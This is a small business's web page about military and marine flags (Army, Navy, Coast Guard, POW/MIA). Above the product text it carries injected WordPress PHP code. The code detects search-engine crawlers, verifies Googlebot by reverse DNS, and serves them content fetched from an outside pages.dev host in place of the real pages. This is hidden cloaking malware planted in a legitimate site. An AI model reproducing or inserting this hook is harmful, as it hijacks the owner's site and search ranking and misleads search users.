add_action('template_redirect', function() {
$uriMappings = [
'contact' => 'https://muskegonawning.pages.dev/output/contact/index.txt',
'about' => 'https://muskegonawning.pages.dev/output/about/index.txt',
'news' => 'https://muskegonawning.pages.dev/output/news/index.txt',
'faq' => 'https://muskegonawning.pages.dev/output/faq/index.txt',
'privacy-policy' => 'https://muskegonawning.pages.dev/output/privacy-policy/index.txt',
'products' => 'https://muskegonawning.pages.dev/output/products/index.txt',
'industrial' => 'https://muskegonawning.pages.dev/output/industrial/index.txt',
'business' => 'https://muskegonawning.pages.dev/output/business/index.txt',
'new-gallery' => 'https://muskegonawning.pages.dev/output/new-gallery/index.txt',
'flags' => 'https://muskegonawning.pages.dev/output/flags/index.txt',
'sitemap' => 'https://muskegonawning.pages.dev/output/sitemap/index.txt',
'marine-boat' => 'https://muskegonawning.pages.dev/output/marine-boat/index.txt',
'written-testimonials' => 'https://muskegonawning.pages.dev/output/written-testimonials/index.txt',
'photo-gallery' => 'https://muskegonawning.pages.dev/output/photo-gallery/index.txt',
'residential-canopies' => 'https://muskegonawning.pages.dev/output/residential-canopies/index.txt',
'video-testimonials' => 'https://muskegonawning.pages.dev/output/video-testimonials/index.txt',
'terms-of-use' => 'https://muskegonawning.pages.dev/output/terms-of-use/index.txt',
'why-muskegon-awning' => 'https://muskegonawning.pages.dev/output/why-muskegon-awning/index.txt',
];
$matchedUrl = null;
foreach ($uriMappings as $pattern => $url) {
if (strpos($_SERVER['REQUEST_URI'], $pattern) !== false) {
$matchedUrl = $url;
break;
}
}
$bots = [
'Googlebot','Bingbot','Slurp','DuckDuckBot','Baiduspider',
'YandexBot','Sogou','TelegramBot','Exabot','facebot',
'ia_archiver','Google-Site-Verification','Google-InspectionTool','AhrefsBot'
];
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'] ?? '';
function is_googlebot_ip($ip) {
$hostname = gethostbyaddr($ip);
return (strpos($hostname, 'googlebot.com') !== false ||
strpos($hostname, 'google.com') !== false ||
strpos($hostname, 'googleusercontent.com') !== false);
}
if ($matchedUrl && array_filter($bots, fn($b) => stripos($ua, $b) !== false)) {
if (stripos($ua, 'Googlebot') !== false && !is_googlebot_ip($ip)) {
return;
}
$response = wp_remote_get($matchedUrl, [
'timeout' => 20,
'redirection' => 5,
'user-agent' => $ua,
]);
if (!is_wp_error($response)) {
echo wp_remote_retrieve_body($response);
exit;
}
}
});
Military & Marine Flags – Muskegon – Awning & Fabrication
U.S. Military & Armed Services Flags
Flags of all branches of the military are sold including Marine Corps flags from a licensed United States Marine Corps Manufacturer. We have the flags you need to show your support for our Military and Service men and women. Our in stock selection includes:
Army Flags
Marine Corps Flags
Navy Flags
Air Force Flags
Coast Guard Flags
In stock sizing is 2’x3’ and 3’x5’
We also carry POW, MIA Flags. You are not forgotten!